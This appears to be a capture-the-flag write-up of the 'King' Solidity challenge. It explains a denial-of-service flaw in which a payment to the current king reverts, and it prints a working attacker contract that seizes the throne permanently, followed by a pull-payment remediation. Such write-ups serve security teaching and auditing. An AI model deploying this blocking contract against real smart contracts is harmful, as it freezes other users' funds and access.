👑 King - The Un-Depositable Throne

Challenge Overview

In this level, we are introduced to a simple Ponzi-like game where players send Ether to a contract to become the new King. When a player claims the throne, the previous King receives the new king’s deposit as a payout.

To beat the level, we must claim the throne and maintain our kingship permanently, preventing anyone else (including the level deployer) from reclaiming it.

Technical Analysis

Vulnerability: Denial of Service via Blocked External Calls

The King contract transfers Ether to the current king whenever a new claim is made:

1
contract King {
2
    address public king;
3
    uint256 public prize;
4
    address public owner;
5

6
    receive() external payable {
7
        require(msg.value >= prize || msg.sender == owner);
8

9
        // [VULNERABILITY] Un-checked/forced transfer to external address
10
        payable(king).transfer(msg.value);
11

12
        king = msg.sender;
13
        prize = msg.value;
14
    }
15
}

The Root Cause

The vulnerability stems from the use of transfer() to make an external payment to an arbitrary, user-controlled address (king):

1. Implicit Execution Control: In Solidity, transferring Ether to a contract address triggers that contract’s receive() or fallback() function.
2. Reverting Transfers: If the recipient is a contract that reverts when receiving Ether (or simply lacks a payable fallback function), the transfer() call fails and throws an exception.
3. DoS State Lock: Because the contract executes payable(king).transfer(msg.value) before registering the new king, a failed transfer will cause the entire transaction to revert. If the current king is a contract that refuses payments, the receive() function will always revert, making it impossible for anyone else to claim the throne.

The Exploit: The Multi-Step Solution

1. Deploy an Attack Contract: Deploy a contract that has no receive() or fallback() function.
2. Claim the Throne: Call the King contract’s address, sending enough Ether to meet or exceed the current prize.
3. Immunity Guaranteed: Once our attack contract is crowned king, any subsequent player’s attempt to claim the throne will trigger payable(attackContract).transfer(...), which will instantly revert. We are the King forever!

Proof of Concept (PoC)

Below is the Solidity exploit contract:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract KingAttacker {
5
    constructor(address payable _target) payable {
6
        // Send enough Ether to exceed the current prize (e.g. 1 ETH)
7
        require(msg.value > 0, "Need Ether to claim the throne");
8

9
        // Claim the throne
10
        (bool success, ) = _target.call{value: msg.value}("");
11
        require(success, "Failed to claim kingship");
12
    }
13

14
    // Do NOT declare receive() or fallback()
15
    // Alternatively, declare receive() that explicitly reverts:
16
    // receive() external payable {
17
    //     revert("I refuse your money!");
18
    // }
19
}

Deploy this contract using Remix, passing the King instance address, and sending a value slightly higher than the current prize.

Auditor’s Lessons

1. Pull Over Push Payment Pattern: Never “push” payments to external, user-controlled addresses in critical execution paths. Instead, implement a “pull” pattern where users must explicitly withdraw their own balances via a separate function.
2. Expect External Reverts: Assume any call or transfer to an external contract can and will fail (either intentionally or due to out-of-gas errors). Your contracts must remain functional even when external targets revert.
3. Gas Constraints of Transfer: transfer() only forwards 2300 gas. If the recipient contract performs even minimal logging or storage operations upon receiving Ether, it will run out of gas and revert. For this reason, modern Solidity recommends using call{value: ...}("") instead of transfer(), but with strict reentrancy guards.

Remediation

Refactor the payment logic using the Withdrawal (Pull-Payment) Pattern:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract SecureKing {
5
    address public king;
6
    uint256 public prize;
7
    address public owner;
8

9
    // Store payouts internally
10
    mapping(address => uint256) public pendingWithdrawals;
11

12
    constructor() payable {
13
        owner = msg.sender;
14
        king = msg.sender;
15
        prize = msg.value;
16
    }
17

18
    receive() external payable {
19
        require(msg.value >= prize || msg.sender == owner, "Prize not met");
20

21
        // Record the previous king's payout instead of pushing it
22
        pendingWithdrawals[king] += prize;
23

24
        king = msg.sender;
25
        prize = msg.value;
26
    }
27

28
    // Previous kings withdraw their money manually
29
    function withdrawRefund() external {
30
        uint256 amount = pendingWithdrawals[msg.sender];
31
        require(amount > 0, "No funds to withdraw");
32

33
        pendingWithdrawals[msg.sender] = 0;
34

35
        (bool success, ) = payable(msg.sender).call{value: amount}("");
36
        require(success, "Withdrawal failed");
37
    }
38
}